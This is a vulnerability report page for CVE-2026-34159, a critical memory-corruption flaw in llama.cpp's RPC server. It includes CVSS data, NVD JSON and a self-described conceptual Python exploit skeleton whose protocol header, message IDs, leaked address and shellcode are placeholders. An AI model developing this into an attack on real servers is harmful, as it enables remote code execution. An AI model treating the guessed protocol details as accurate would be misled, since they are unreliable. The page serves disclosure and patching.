Security Vulnerability Report
中文
CVE-2026-34159 CVSS 9.8 CRITICAL

CVE-2026-34159

Published: 2026-04-01 18:16:30
Last Modified: 2026-04-30 19:18:32

Description

llama.cpp is an inference of several LLM models in C/C++. Prior to version b8492, the RPC backend's deserialize_tensor() skips all bounds validation when a tensor's buffer field is 0. An unauthenticated attacker can read and write arbitrary process memory via crafted GRAPH_COMPUTE messages. Combined with pointer leaks from ALLOC_BUFFER/BUFFER_GET_BASE, this gives full ASLR bypass and remote code execution. No authentication required, just TCP access to the RPC server port. This issue has been patched in version b8492.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ggml:llama.cpp:*:*:*:*:*:*:*:* - VULNERABLE
llama.cpp < b8492

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Conceptual PoC for CVE-2026-34159 # This script demonstrates the logic to exploit the deserialization issue. # Specific protocol structures are inferred from the vulnerability description. def send_rpc_message(sock, msg_type, data): # Construct a hypothetical RPC header and payload # In a real scenario, this would match the llama.cpp RPC protocol header = struct.pack('<I', msg_type) + struct.pack('<I', len(data)) sock.sendall(header + data) def exploit(target_ip, target_port): print(f"[+] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) try: # Step 1: Leak pointers to bypass ASLR (ALLOC_BUFFER/BUFFER_GET_BASE) print("[+] Leaking pointers...") # send_rpc_message(sock, ALLOC_BUFFER, ...) # send_rpc_message(sock, BUFFER_GET_BASE, ...) leaked_base = 0xdeadbeef # Placeholder for leaked address print(f"[+] Leaked base address: {hex(leaked_base)}") # Step 2: Craft GRAPH_COMPUTE message with buffer=0 to skip validation print("[+] Sending malicious GRAPH_COMPUTE message...") # The payload is designed to trigger the missing bounds check # Target address to overwrite (e.g., return address or function pointer) target_addr = leaked_base + 0x1234 shellcode = b"\x90" * 100 # Placeholder for shellcode # Constructing the malicious tensor data # This simulates passing a crafted tensor that bypasses checks exploit_payload = struct.pack('<Q', target_addr) + shellcode # Send the exploit message (assuming GRAPH_COMPUTE type ID is 0x05) send_rpc_message(sock, 0x05, exploit_payload) print("[+] Exploit sent. Check for shell.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target details exploit("127.0.0.1", 50051)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34159", "sourceIdentifier": "[email protected]", "published": "2026-04-01T18:16:29.687", "lastModified": "2026-04-30T19:18:32.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "llama.cpp is an inference of several LLM models in C/C++. Prior to version b8492, the RPC backend's deserialize_tensor() skips all bounds validation when a tensor's buffer field is 0. An unauthenticated attacker can read and write arbitrary process memory via crafted GRAPH_COMPUTE messages. Combined with pointer leaks from ALLOC_BUFFER/BUFFER_GET_BASE, this gives full ASLR bypass and remote code execution. No authentication required, just TCP access to the RPC server port. This issue has been patched in version b8492."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ggml:llama.cpp:*:*:*:*:*:*:*:*", "versionEndExcluding": "b8492", "matchCriteriaId": "3E829A49-8883-4191-8F71-098DF5B28505"}]}]}], "references": [{"url": "https://github.com/ggml-org/llama.cpp/commit/39bf0d3c6a95803e0f41aaba069ffbee26721042", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ggml-org/llama.cpp/pull/20908", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/ggml-org/llama.cpp/security/advisories/GHSA-j8rj-fmpv-wcxw", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}